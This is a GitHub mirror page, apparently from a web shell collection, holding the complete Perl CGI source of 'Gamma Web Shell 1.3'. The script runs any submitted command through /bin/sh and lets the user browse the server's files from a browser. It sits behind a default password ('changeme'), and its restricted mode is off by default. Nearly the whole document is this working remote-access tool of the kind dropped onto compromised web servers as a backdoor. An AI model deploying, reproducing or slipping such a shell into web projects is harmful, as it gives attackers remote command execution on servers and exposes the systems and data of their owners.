mirror of
https://github.com/tennc/webshell
synced 2024-11-26 21:20:18 +00:00
870 lines
25 KiB
Text
870 lines
25 KiB
Text
|
#!/usr/bin/perl
|
||
|
###############################################################################
|
||
|
### Gamma Web Shell
|
||
|
### Copyright 2003 Gamma Group
|
||
|
### All rights reserved
|
||
|
###
|
||
|
### Gamma Web Shell is free for both commercial and non commercial
|
||
|
### use. You may modify this script as you find necessary as long
|
||
|
### as you do not sell it. Redistribution is not allowed without
|
||
|
### prior consent from Gamma Group (support@gammacenter.com).
|
||
|
###
|
||
|
### Gamma Group <http://www.gammacenter.com>
|
||
|
###
|
||
|
|
||
|
use strict;
|
||
|
|
||
|
###############################################################################
|
||
|
|
||
|
package WebShell::Configuration;
|
||
|
|
||
|
use vars qw($password $restricted_mode $ok_commands);
|
||
|
|
||
|
##
|
||
|
## Password.
|
||
|
## Set to blank if you don't need password protection.
|
||
|
##
|
||
|
$password = "changeme";
|
||
|
|
||
|
##
|
||
|
## Restricted mode.
|
||
|
## Set to "1" to allow only a limited set of commands.
|
||
|
##
|
||
|
$restricted_mode = 0;
|
||
|
|
||
|
##
|
||
|
## Available commands.
|
||
|
## The list of available commands for the restricted mode.
|
||
|
##
|
||
|
$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];
|
||
|
|
||
|
###############################################################################
|
||
|
|
||
|
package WebShell::Templates;
|
||
|
|
||
|
use vars qw($LOGIN_TEMPLATE $INPUT_TEMPLATE $EXECUTE_TEMPLATE $BROWSE_TEMPLATE);
|
||
|
|
||
|
my $VERSION = 'Gamma Web Shell 1.3';
|
||
|
|
||
|
my $STYLESHEET = <<EOT;
|
||
|
body {
|
||
|
font-family: Verdana, Helvetica, sans-serif;
|
||
|
font-size: 90%;
|
||
|
color: #000;
|
||
|
background: #FFF;
|
||
|
margin: 0px;
|
||
|
padding: 0px;
|
||
|
}
|
||
|
|
||
|
h1, h2, h3, h4, h5, h6 {
|
||
|
margin: 0.3em;
|
||
|
padding: 0px;
|
||
|
}
|
||
|
|
||
|
input, select, textarea, select {
|
||
|
font-family: Verdana, Helvetica, sans-serif;
|
||
|
font-size: 100%;
|
||
|
margin: 1px;
|
||
|
padding: 0px 1px;
|
||
|
}
|
||
|
|
||
|
pre, code, tt {
|
||
|
font-family: 'Courier New', Courier, monospace;
|
||
|
font-size: 100%;
|
||
|
}
|
||
|
|
||
|
form {
|
||
|
margin: 0px;
|
||
|
padding: 0px;
|
||
|
}
|
||
|
|
||
|
table {
|
||
|
font-size: 100%;
|
||
|
}
|
||
|
|
||
|
a {
|
||
|
text-decoration: none;
|
||
|
color: #000;
|
||
|
background: transparent;
|
||
|
}
|
||
|
|
||
|
a:hover {
|
||
|
text-decoration: underline;
|
||
|
}
|
||
|
|
||
|
.header, .footer {
|
||
|
color: #000;
|
||
|
background: #CCF;
|
||
|
margin: 0px;
|
||
|
padding: 0px;
|
||
|
text-align: center;
|
||
|
border: solid #000;
|
||
|
border-width: 1px 0px;
|
||
|
}
|
||
|
|
||
|
.box {
|
||
|
border: 1px solid #000;
|
||
|
border-collapse: collapse;
|
||
|
color: #000;
|
||
|
background: #CCF;
|
||
|
}
|
||
|
|
||
|
.box-header, .box-content, .box-text, .box-error, .box-menu {
|
||
|
border: 1px solid #000;
|
||
|
}
|
||
|
|
||
|
.box-header, .box-header a {
|
||
|
color: #FFF;
|
||
|
background: #000;
|
||
|
}
|
||
|
|
||
|
.box-content {
|
||
|
text-align: center;
|
||
|
}
|
||
|
|
||
|
.box-text {
|
||
|
padding: 3px 10px;
|
||
|
font-size: 90%;
|
||
|
}
|
||
|
|
||
|
.box-menu {
|
||
|
padding: 3px 10px;
|
||
|
}
|
||
|
|
||
|
.box-error {
|
||
|
color: #FFF;
|
||
|
background: #F00;
|
||
|
font-weight: bold;
|
||
|
padding: 3px 25px;
|
||
|
text-align: center;
|
||
|
}
|
||
|
|
||
|
.dialog {
|
||
|
text-align: left;
|
||
|
border-collapse: collapse;
|
||
|
}
|
||
|
|
||
|
.dialog-even {
|
||
|
color: #000;
|
||
|
background: #CCF;
|
||
|
}
|
||
|
|
||
|
.dialog-odd {
|
||
|
color: #000;
|
||
|
background: #AAE;
|
||
|
}
|
||
|
|
||
|
.menu {
|
||
|
font-weight: normal;
|
||
|
}
|
||
|
|
||
|
.menu-selected {
|
||
|
font-weight: bold;
|
||
|
}
|
||
|
|
||
|
.tool {
|
||
|
background: transparent;
|
||
|
color: #000;
|
||
|
border-style: hidden;
|
||
|
border-width: 1px;
|
||
|
text-decoration: none;
|
||
|
}
|
||
|
|
||
|
.tool:hover {
|
||
|
border-style: outset;
|
||
|
text-decoration: none;
|
||
|
}
|
||
|
|
||
|
.output {
|
||
|
color: #FFF;
|
||
|
background: #000;
|
||
|
padding: 1em;
|
||
|
font-weight: bold;
|
||
|
}
|
||
|
|
||
|
.output-text {
|
||
|
}
|
||
|
|
||
|
.output-command {
|
||
|
color: #FF7;
|
||
|
background: #000;
|
||
|
}
|
||
|
|
||
|
.output-error {
|
||
|
color: #FFF;
|
||
|
background: #F00;
|
||
|
}
|
||
|
|
||
|
.entries {
|
||
|
border: 1px solid #777;
|
||
|
border-collapse: collapse;
|
||
|
}
|
||
|
|
||
|
.entries td, .entries th {
|
||
|
padding: 2px 10px;
|
||
|
}
|
||
|
|
||
|
.entries th, .entries td {
|
||
|
border: 1px solid #777;
|
||
|
}
|
||
|
|
||
|
.entries-even {
|
||
|
color: #FFF;
|
||
|
background: #444;
|
||
|
}
|
||
|
|
||
|
.entry-dir a {
|
||
|
color: #BBF;
|
||
|
background: transparent;
|
||
|
}
|
||
|
|
||
|
.entry-exec {
|
||
|
color: #BFB;
|
||
|
background: transparent;
|
||
|
}
|
||
|
|
||
|
.entry-file {
|
||
|
}
|
||
|
|
||
|
.entry-mine {
|
||
|
}
|
||
|
|
||
|
.entry-alien {
|
||
|
color: #FBB;
|
||
|
background: transparent;
|
||
|
}
|
||
|
|
||
|
EOT
|
||
|
|
||
|
$LOGIN_TEMPLATE = <<EOT;
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>Gamma Web Shell</title>
|
||
|
<style type="text/css">$STYLESHEET</style>
|
||
|
</head>
|
||
|
<body>
|
||
|
<table width="100%" height="100%">
|
||
|
<tr><td class="header"><h2>$VERSION</h2></td></tr>
|
||
|
<tr>
|
||
|
<td width="100%" height="100%" align="center" valign="center">
|
||
|
<form action="WebShell.cgi" method="POST">
|
||
|
<table class="box">
|
||
|
<tr><th class="box-header">Login</th></tr>
|
||
|
[% if error %]
|
||
|
<tr><td class="box-error">Invalid password!</td></tr>
|
||
|
[% end %]
|
||
|
<tr>
|
||
|
<td class="box-content">
|
||
|
<table class="dialog" width="100%">
|
||
|
<tr>
|
||
|
<td>Password:</td>
|
||
|
<td><input name="password" type="password"></td>
|
||
|
</tr>
|
||
|
</table>
|
||
|
</td>
|
||
|
</tr>
|
||
|
<tr>
|
||
|
<td class="box-content">
|
||
|
<input class="tool" type="submit" value="OK">
|
||
|
</td>
|
||
|
</tr>
|
||
|
</table>
|
||
|
</form>
|
||
|
</td>
|
||
|
</tr>
|
||
|
<tr><td class="footer"><h5>Copyright © 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
|
||
|
</table>
|
||
|
</body>
|
||
|
</html>
|
||
|
EOT
|
||
|
|
||
|
$INPUT_TEMPLATE = <<EOT;
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>Gamma Web Shell</title>
|
||
|
<style type="text/css">$STYLESHEET</style>
|
||
|
</head>
|
||
|
<body>
|
||
|
<table width="100%" height="100%">
|
||
|
<tr><td class="header"><h2>$VERSION</h2></td></tr>
|
||
|
<tr>
|
||
|
<td width="100%" height="100%" align="center" valign="center">
|
||
|
<iframe name="output" src="WebShell.cgi?action=execute" width="80%" height="80%"></iframe>
|
||
|
<br><br>
|
||
|
<script type="text/javascript">
|
||
|
function submit_execute() {
|
||
|
var entry = document.forms.execute.elements['command'];
|
||
|
if (entry.value.length > 0) {
|
||
|
entry.select();
|
||
|
entry.focus();
|
||
|
document.forms.execute.elements['action'].value = 'execute';
|
||
|
return true;
|
||
|
}
|
||
|
else {
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
function submit_browse() {
|
||
|
document.forms.execute.elements['action'].value = 'browse';
|
||
|
}
|
||
|
</script>
|
||
|
<form name="execute" action="WebShell.cgi" method="POST" target="output">
|
||
|
<input name="action" type="hidden" value="execute">
|
||
|
<table class="box">
|
||
|
<tr>
|
||
|
<td class="box-content">
|
||
|
<table class="dialog" width="100%">
|
||
|
<tr>
|
||
|
<th>Command:</th>
|
||
|
<td><input name="command" type="text" size="50"></td>
|
||
|
<td><input class="tool" type="submit" value="Execute" onClick="return submit_execute()"></td>
|
||
|
<td><input class="tool" type="submit" value="Browse" onClick="return submit_browse()"></td>
|
||
|
</tr>
|
||
|
</table>
|
||
|
</td>
|
||
|
</tr>
|
||
|
</table>
|
||
|
</form>
|
||
|
</td>
|
||
|
</tr>
|
||
|
<tr><td class="footer"><h5>Copyright © 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
|
||
|
</table>
|
||
|
</body>
|
||
|
</html>
|
||
|
EOT
|
||
|
|
||
|
$EXECUTE_TEMPLATE = <<EOT;
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>Gamma Web Shell</title>
|
||
|
<style type="text/css">$STYLESHEET</style>
|
||
|
</head>
|
||
|
<body class="output">
|
||
|
[% if old_line %]
|
||
|
<pre class="output-command">[% old_line as html %]</pre>
|
||
|
[% end %]
|
||
|
[% if output %]
|
||
|
<pre class="output-text">[% output as html %]</pre>
|
||
|
[% end %]
|
||
|
[% if error %]
|
||
|
<pre class="output-error">[% error as html %]</pre>
|
||
|
[% end %]
|
||
|
[% if new_line %]
|
||
|
<pre class="output-command">[% new_line as html %]</pre>
|
||
|
[% end %]
|
||
|
</body>
|
||
|
</html>
|
||
|
EOT
|
||
|
|
||
|
$BROWSE_TEMPLATE = <<EOT;
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>Gamma Web Shell</title>
|
||
|
<style type="text/css">$STYLESHEET</style>
|
||
|
</head>
|
||
|
<body class="output">
|
||
|
[% if error %]
|
||
|
<p class="output-error">[% error as html %]</p>
|
||
|
[% end %]
|
||
|
<table class="entries" width="100%">
|
||
|
<tr class="entries-even" align="left">
|
||
|
<th colspan="6">
|
||
|
[% for entry in directory %]<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.path as url %]">[% entry.name as html %]/</a></code>[% end %]
|
||
|
</th>
|
||
|
</tr>
|
||
|
<tr class="entries-odd" align="left">
|
||
|
<th width="100%"><small>Name</small></th>
|
||
|
<th><small>Size</small></th>
|
||
|
<th><small>Time</small></th>
|
||
|
<th><small>Owner</small></th>
|
||
|
<th><small>Group</small></th>
|
||
|
<th><small>Mode</small></th>
|
||
|
</tr>
|
||
|
[% for entry in entries %]
|
||
|
<tr class="entries-[% if loop.entry.even %]even[% else %]odd[% end %]">
|
||
|
<td width="100%">
|
||
|
[% if entry.type_file %]
|
||
|
[% if entry.type_exec %]
|
||
|
<code class="entry-exec">[% entry.name as html %]</code>
|
||
|
[% else %]
|
||
|
<code class="entry-file">[% entry.name as html %]</code>
|
||
|
[% end %]
|
||
|
[% elif entry.type_dir %]
|
||
|
<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.name as url %]">[% entry.name as html %]/</a></code>
|
||
|
[% else %]
|
||
|
<code class="entry-other">[% entry.name as html %]</code>
|
||
|
[% end %]
|
||
|
</td>
|
||
|
<td align="right">
|
||
|
[% if entry.type_file %]
|
||
|
<code class="entry-text">[% entry.size as html %]</code></td>
|
||
|
[% else %]
|
||
|
|
||
|
[% end %]
|
||
|
</td>
|
||
|
<td><code class="entry-text">[% entry.time as nbsp %]</code></td>
|
||
|
<td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.user as html %]</code></td>
|
||
|
<td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.group as html %]</code></td>
|
||
|
<td><code class="entry-text">[% entry.mode as html %]</code></td>
|
||
|
</tr>
|
||
|
[% end %]
|
||
|
</table>
|
||
|
</body>
|
||
|
</html>
|
||
|
EOT
|
||
|
|
||
|
|
||
|
###############################################################################
|
||
|
|
||
|
package WebShell::MiniXIT;
|
||
|
|
||
|
sub new {
|
||
|
my ($class) = @_;
|
||
|
return bless {}, $class;
|
||
|
}
|
||
|
|
||
|
sub substitute {
|
||
|
my ($self, $input, %keywords) = @_;
|
||
|
my $statements = $self->parse($input);
|
||
|
my $operation = $self->compile($statements);
|
||
|
my $output = $self->evaluate($operation, \%keywords);
|
||
|
return $output;
|
||
|
}
|
||
|
|
||
|
sub parse {
|
||
|
my ($self, $input) = @_;
|
||
|
my $statements = [];
|
||
|
my $start = 0;
|
||
|
while ($input =~ /(\[%\s*(.*?)\s*%\])/g) {
|
||
|
my $match_end = pos($input);
|
||
|
my $match_start = $match_end - length($1);
|
||
|
if ($start < $match_start) {
|
||
|
my $text = substr($input, $start, $match_start-$start);
|
||
|
push @$statements, { id => 'text', text => $text };
|
||
|
}
|
||
|
push @$statements, $self->parse_command($2);
|
||
|
$start = $match_end;
|
||
|
}
|
||
|
if ($start < length($input)) {
|
||
|
my $text = substr($input, $start);
|
||
|
push @$statements, { id => 'text', text => $text };
|
||
|
}
|
||
|
return $statements;
|
||
|
}
|
||
|
|
||
|
sub parse_command {
|
||
|
my ($self, $command) = @_;
|
||
|
if ($command =~ /^if\s+(\w+(\.\w+)*)$/) {
|
||
|
return { id => 'if', test => $1, };
|
||
|
}
|
||
|
elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) {
|
||
|
return { id => 'elif', test => $1 };
|
||
|
}
|
||
|
elsif ($command =~ /^else$/) {
|
||
|
return { id => 'else' };
|
||
|
}
|
||
|
elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) {
|
||
|
return { id => 'for', name => $1, list => $2 };
|
||
|
}
|
||
|
elsif ($command =~ /^end$/) {
|
||
|
return { id => 'end' };
|
||
|
}
|
||
|
elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) {
|
||
|
return { id => 'print', variable => $1, format => $4 };
|
||
|
}
|
||
|
else {
|
||
|
die "invalid command: '$command'";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
sub compile {
|
||
|
my ($self, $statements) = @_;
|
||
|
my $operation = $self->compile_sequence($statements);
|
||
|
if (scalar(@$statements)) {
|
||
|
my $statement = shift(@$statements);
|
||
|
my $id = $statements->{id};
|
||
|
die "unexpected statement: '$id'";
|
||
|
}
|
||
|
return $operation;
|
||
|
}
|
||
|
|
||
|
sub compile_sequence {
|
||
|
my ($self, $statements) = @_;
|
||
|
my $operations = [];
|
||
|
while (scalar(@$statements) > 0) {
|
||
|
my $id = $statements->[0]->{id};
|
||
|
if ($id eq 'if') {
|
||
|
push @$operations, $self->compile_condition($statements);
|
||
|
}
|
||
|
elsif ($id eq 'for') {
|
||
|
push @$operations, $self->compile_loop($statements);
|
||
|
}
|
||
|
elsif ($id eq 'print' or $id eq 'text') {
|
||
|
my $statement = shift @$statements;
|
||
|
push @$operations, $statement;
|
||
|
}
|
||
|
else {
|
||
|
last;
|
||
|
}
|
||
|
}
|
||
|
return { id => 'sequence', operations => $operations };
|
||
|
}
|
||
|
|
||
|
sub compile_condition {
|
||
|
my ($self, $statements) = @_;
|
||
|
my $conditions = [];
|
||
|
my $statement = shift @$statements;
|
||
|
my $id = defined $statement ? $statement->{id} : 'none';
|
||
|
while ($id eq 'if' or $id eq 'elif' or $id eq 'else') {
|
||
|
my $test = $id ne 'else' ? $statement->{test} : undef;
|
||
|
my $operation = $self->compile_sequence($statements);
|
||
|
push @$conditions, { test => $test, operation => $operation };
|
||
|
$statement = shift @$statements;
|
||
|
$id = defined $statement ? $statement->{id} : 'none';
|
||
|
}
|
||
|
die "'end' expected, but '$id' found" unless $id eq 'end';
|
||
|
return { id => 'condition', conditions => $conditions };
|
||
|
}
|
||
|
|
||
|
sub compile_loop {
|
||
|
my ($self, $statements) = @_;
|
||
|
my $statement = shift @$statements;
|
||
|
my $name = $statement->{name};
|
||
|
my $list = $statement->{list};
|
||
|
my $operation = $self->compile_sequence($statements);
|
||
|
$statement = shift @$statements;
|
||
|
my $id = defined $statement ? $statement->{id} : 'none';
|
||
|
die "'end' expected, but '$id' found" unless $id eq 'end';
|
||
|
return { id => 'loop',
|
||
|
name => $name, list => $list, operation => $operation };
|
||
|
}
|
||
|
|
||
|
sub evaluate {
|
||
|
my ($self, $operation, $keywords) = @_;
|
||
|
$keywords->{loop} = {};
|
||
|
my $chunks = $self->evaluate_operation($operation, $keywords);
|
||
|
return join('', @$chunks);
|
||
|
}
|
||
|
|
||
|
sub evaluate_operation {
|
||
|
my ($self, $operation, $keywords) = @_;
|
||
|
if ($operation->{id} eq 'condition') {
|
||
|
return $self->evaluate_condition($operation->{conditions}, $keywords);
|
||
|
}
|
||
|
elsif ($operation->{id} eq 'loop') {
|
||
|
return $self->evaluate_loop($operation->{name}, $operation->{list},
|
||
|
$operation->{operation}, $keywords);
|
||
|
}
|
||
|
elsif ($operation->{id} eq 'print') {
|
||
|
return $self->evaluate_print($operation->{variable},
|
||
|
$operation->{format}, $keywords);
|
||
|
}
|
||
|
elsif ($operation->{id} eq 'sequence') {
|
||
|
my $chunks = [];
|
||
|
push @$chunks, @{$self->evaluate_operation($_, $keywords)}
|
||
|
for (@{$operation->{operations}});
|
||
|
return $chunks;
|
||
|
}
|
||
|
elsif ($operation->{id} eq 'text') {
|
||
|
return [$operation->{text}];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
sub evaluate_condition {
|
||
|
my ($self, $conditions, $keywords) = @_;
|
||
|
for my $condition (@$conditions) {
|
||
|
my $test = $condition->{test};
|
||
|
my $value = defined $test ?
|
||
|
$self->evaluate_variable($test, $keywords) : 1;
|
||
|
return $self->evaluate_operation($condition->{operation}, $keywords)
|
||
|
if $value;
|
||
|
}
|
||
|
return [];
|
||
|
}
|
||
|
|
||
|
sub evaluate_loop {
|
||
|
my ($self, $name, $list, $operation, $keywords) = @_;
|
||
|
my $values = $self->evaluate_variable($list, $keywords);
|
||
|
my $length = scalar(@$values);
|
||
|
my $index = 0;
|
||
|
my $chunks = [];
|
||
|
for my $value (@$values) {
|
||
|
$keywords->{$name} = $value;
|
||
|
$keywords->{loop}->{$name} = {
|
||
|
index => $index, number => $index+1,
|
||
|
first => $index == 0, last => $index == $length-1,
|
||
|
odd => $index % 2 == 1, even => $index % 2 == 0,
|
||
|
};
|
||
|
push @$chunks, @{$self->evaluate_operation($operation, $keywords)};
|
||
|
$index++;
|
||
|
}
|
||
|
delete $keywords->{$name};
|
||
|
delete $keywords->{loop}->{$name};
|
||
|
return $chunks;
|
||
|
}
|
||
|
|
||
|
sub evaluate_print {
|
||
|
my ($self, $variable, $format, $keywords) = @_;
|
||
|
my $value = $self->evaluate_variable($variable, $keywords);
|
||
|
if ($format eq 'html') {
|
||
|
for ($value) { s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; }
|
||
|
}
|
||
|
elsif ($format eq 'nbsp') {
|
||
|
for ($value) {
|
||
|
s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; s/ / /g;
|
||
|
}
|
||
|
}
|
||
|
elsif ($format eq 'url') {
|
||
|
$value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg;
|
||
|
}
|
||
|
elsif ($format ne '') {
|
||
|
|
||
|
die "unknown format: '$format'";
|
||
|
}
|
||
|
return [$value];
|
||
|
}
|
||
|
|
||
|
sub evaluate_variable {
|
||
|
my ($self, $variable, $keywords) = @_;
|
||
|
my $value = $keywords;
|
||
|
for my $name (split(/\./, $variable)) {
|
||
|
$value = $value->{$name};
|
||
|
}
|
||
|
return $value;
|
||
|
}
|
||
|
|
||
|
###############################################################################
|
||
|
|
||
|
package WebShell::Script;
|
||
|
|
||
|
use CGI;
|
||
|
use CGI::Carp qw(fatalsToBrowser);
|
||
|
use IPC::Open3;
|
||
|
use Cwd;
|
||
|
use POSIX;
|
||
|
|
||
|
sub new {
|
||
|
my ($class) = @_;
|
||
|
my $self = bless { }, $class;
|
||
|
$self->initialize();
|
||
|
return $self;
|
||
|
}
|
||
|
|
||
|
sub query {
|
||
|
my ($self, @names) = @_;
|
||
|
my @values = ();
|
||
|
for my $name (@names) {
|
||
|
my $value = $self->{cgi}->param($name);
|
||
|
for ($value) { s/^\s+//; s/\s+$//; }
|
||
|
push @values, $value;
|
||
|
}
|
||
|
return wantarray ? @values : "@values";
|
||
|
}
|
||
|
|
||
|
sub initialize {
|
||
|
my ($self) = @_;
|
||
|
$self->{cgi} = new CGI;
|
||
|
$self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd');
|
||
|
$self->{cwd} = cwd unless defined $self->{cwd};
|
||
|
$self->{cwd} = cwd if $WebShell::Configuration::restricted_mode;
|
||
|
$self->{login} = 0;
|
||
|
my $login = $self->{cgi}->cookie(-name => 'WebShell-login');
|
||
|
my $password = $self->query('password');
|
||
|
$self->{login} = 1
|
||
|
if crypt($WebShell::Configuration::password, $login."XX") eq $login;
|
||
|
$self->{login} = 1 if $password eq $WebShell::Configuration::password;
|
||
|
}
|
||
|
|
||
|
sub run {
|
||
|
my ($self) = @_;
|
||
|
return $self->login_action unless $self->{login};
|
||
|
my $action = $self->query('action');
|
||
|
$action = 'default' unless $action =~ /^\w+$/;
|
||
|
$action = $self->can($action . '_action');
|
||
|
$action = $self->can('default_action') unless defined $action;
|
||
|
$self->$action();
|
||
|
}
|
||
|
|
||
|
sub default_action {
|
||
|
my ($self) = @_;
|
||
|
$self->publish('INPUT');
|
||
|
}
|
||
|
|
||
|
sub login_action {
|
||
|
my ($self) = @_;
|
||
|
$self->publish('LOGIN', error => ($self->query('password') ne ''));
|
||
|
}
|
||
|
|
||
|
sub command {
|
||
|
my ($self, $command) = @_;
|
||
|
chdir($self->{cwd});
|
||
|
my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh");
|
||
|
print WRTH "$command\n";
|
||
|
close(WRTH);
|
||
|
my $output = do { local $/; <RDH> };
|
||
|
my $error = do { local $/; <ERRH> };
|
||
|
waitpid($pid, 0);
|
||
|
return ($output, $error);
|
||
|
}
|
||
|
|
||
|
sub forbidden_command {
|
||
|
my ($self, $command) = @_;
|
||
|
my $error = "This command is not available in the restricted mode.\n";
|
||
|
$error .= "You may only use the following commands:\n";
|
||
|
for my $ok_command (@$WebShell::Configuration::ok_commands) {
|
||
|
$error .= " $ok_command\n";
|
||
|
}
|
||
|
return ('', $error);
|
||
|
}
|
||
|
|
||
|
sub cd_command {
|
||
|
my ($self, $command) = @_;
|
||
|
my $error;
|
||
|
my $directory = $1 if $command =~ /^cd\s+(\S+)$/;
|
||
|
warn "cwd: '$self->{cwd}'\n";
|
||
|
warn "command: '$command'\n";
|
||
|
warn "directory: '$directory'\n";
|
||
|
if ($directory ne '') {
|
||
|
$error = $! unless chdir($self->{cwd});
|
||
|
$error = $! unless chdir($directory);
|
||
|
}
|
||
|
$self->{cwd} = cwd;
|
||
|
return ('', $error);
|
||
|
}
|
||
|
|
||
|
sub execute_action {
|
||
|
my ($self) = @_;
|
||
|
my $command = $self->query('command');
|
||
|
my $user = getpwuid($>);
|
||
|
my $old_line = "[$user: $self->{cwd}]\$ $command";
|
||
|
my ($output, $error);
|
||
|
if ($command ne "") {
|
||
|
my $allow = not $WebShell::Configuration::restricted_mode;
|
||
|
for my $ok_command (@$WebShell::Configuration::ok_commands) {
|
||
|
$allow = 1 if $command eq $ok_command;
|
||
|
}
|
||
|
if ($allow) {
|
||
|
$command =~ /^(\w+)/;
|
||
|
if (my $method = $self->can("${1}_command")) {
|
||
|
($output, $error) = $self->$method($command);
|
||
|
}
|
||
|
else {
|
||
|
($output, $error) = $self->command($command);
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else {
|
||
|
($output, $error) = $self->forbidden_command($command);
|
||
|
}
|
||
|
}
|
||
|
my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq "";
|
||
|
$self->publish('EXECUTE',
|
||
|
old_line => $old_line, new_line => $new_line,
|
||
|
output => $output, error => $error);
|
||
|
}
|
||
|
|
||
|
sub browse_action {
|
||
|
my ($self) = @_;
|
||
|
my $error = "";
|
||
|
my $path = $self->query('path');
|
||
|
if ($WebShell::Configuration::restricted_mode and $path ne '') {
|
||
|
$error = "You cannot browse directories in the restricted mode.";
|
||
|
$path = "";
|
||
|
}
|
||
|
$error = $! unless chdir($self->{cwd});
|
||
|
if ($path ne '') {
|
||
|
$error = $! unless chdir($path);
|
||
|
}
|
||
|
$self->{cwd} = cwd;
|
||
|
opendir(DIR, '.');
|
||
|
my @dir = readdir(DIR);
|
||
|
closedir(DIR);
|
||
|
my @entries = ();
|
||
|
for my $name (@dir) {
|
||
|
my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size,
|
||
|
$atime, $mtime, $ctime, $blksize, $blocks) = stat($name);
|
||
|
my $modestr = S_ISDIR($mode) ? 'd' : '-';
|
||
|
$modestr .= ($mode & S_IRUSR) ? 'r' : '-';
|
||
|
$modestr .= ($mode & S_IWUSR) ? 'w' : '-';
|
||
|
$modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-';
|
||
|
$modestr .= ($mode & S_IRGRP) ? 'r' : '-';
|
||
|
$modestr .= ($mode & S_IWGRP) ? 'w' : '-';
|
||
|
$modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-';
|
||
|
$modestr .= ($mode & S_IROTH) ? 'r' : '-';
|
||
|
$modestr .= ($mode & S_IWOTH) ? 'w' : '-';
|
||
|
$modestr .= ($mode & S_IXOTH) ? 'x' : '-';
|
||
|
my $userstr = getpwuid($uid);
|
||
|
my $groupstr = getgrgid($gid);
|
||
|
my $sizestr = ($size < 1024) ? $size :
|
||
|
($size < 1024*1024) ? sprintf("%.1fk", $size/1024) :
|
||
|
sprintf("%.1fM", $size/(1024*1024));
|
||
|
my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime));
|
||
|
push @entries, {
|
||
|
name => $name,
|
||
|
type_file => S_ISREG($mode),
|
||
|
type_dir => S_ISDIR($mode),
|
||
|
type_exec => ($mode & S_IXUSR),
|
||
|
mode => $modestr,
|
||
|
user => $userstr,
|
||
|
group => $groupstr,
|
||
|
order => (S_ISDIR($mode) ? 0 : 1) . $name,
|
||
|
all_rights => (-w $name),
|
||
|
size => $sizestr,
|
||
|
time => $timestr,
|
||
|
};
|
||
|
}
|
||
|
@entries = sort { $a->{order} cmp $b->{order} } @entries;
|
||
|
my @directory = ();
|
||
|
my $path = '';
|
||
|
for my $name (split m|/|, $self->{cwd}) {
|
||
|
$path .= "$name/";
|
||
|
push @directory, {
|
||
|
name => $name,
|
||
|
path => $path,
|
||
|
};
|
||
|
}
|
||
|
@directory = ({ name => '', path => '/'}) unless @directory;
|
||
|
$self->publish('BROWSE', entries => \@entries, directory => \@directory,
|
||
|
error => $error);
|
||
|
}
|
||
|
|
||
|
sub publish {
|
||
|
my ($self, $template, %keywords) = @_;
|
||
|
$template = eval '$WebShell::Templates::' . $template . '_TEMPLATE';
|
||
|
my $xit = new WebShell::MiniXIT;
|
||
|
my $text = $xit->substitute($template, %keywords);
|
||
|
$self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$};
|
||
|
my $domain = $1;
|
||
|
my $path = $2;
|
||
|
my $cwd_cookie = $self->{cgi}->cookie(
|
||
|
-name => 'WebShell-cwd',
|
||
|
-value => $self->{cwd},
|
||
|
-domain => $domain,
|
||
|
-path => $path,
|
||
|
);
|
||
|
my $login = "";
|
||
|
if ($self->{login}) {
|
||
|
my $salt = join '',
|
||
|
('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64];
|
||
|
$login = crypt($WebShell::Configuration::password, $salt);
|
||
|
}
|
||
|
my $login_cookie = $self->{cgi}->cookie(
|
||
|
-name => 'WebShell-login',
|
||
|
-value => $login,
|
||
|
-domain => $domain,
|
||
|
-path => $path,
|
||
|
);
|
||
|
print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]);
|
||
|
print $text;
|
||
|
}
|
||
|
|
||
|
###############################################################################
|
||
|
|
||
|
package WebShell;
|
||
|
|
||
|
my $script = new WebShell::Script;
|
||
|
$script->run;
|
||
|
|
||
|
###############################################################################
|
||
|
###############################################################################
|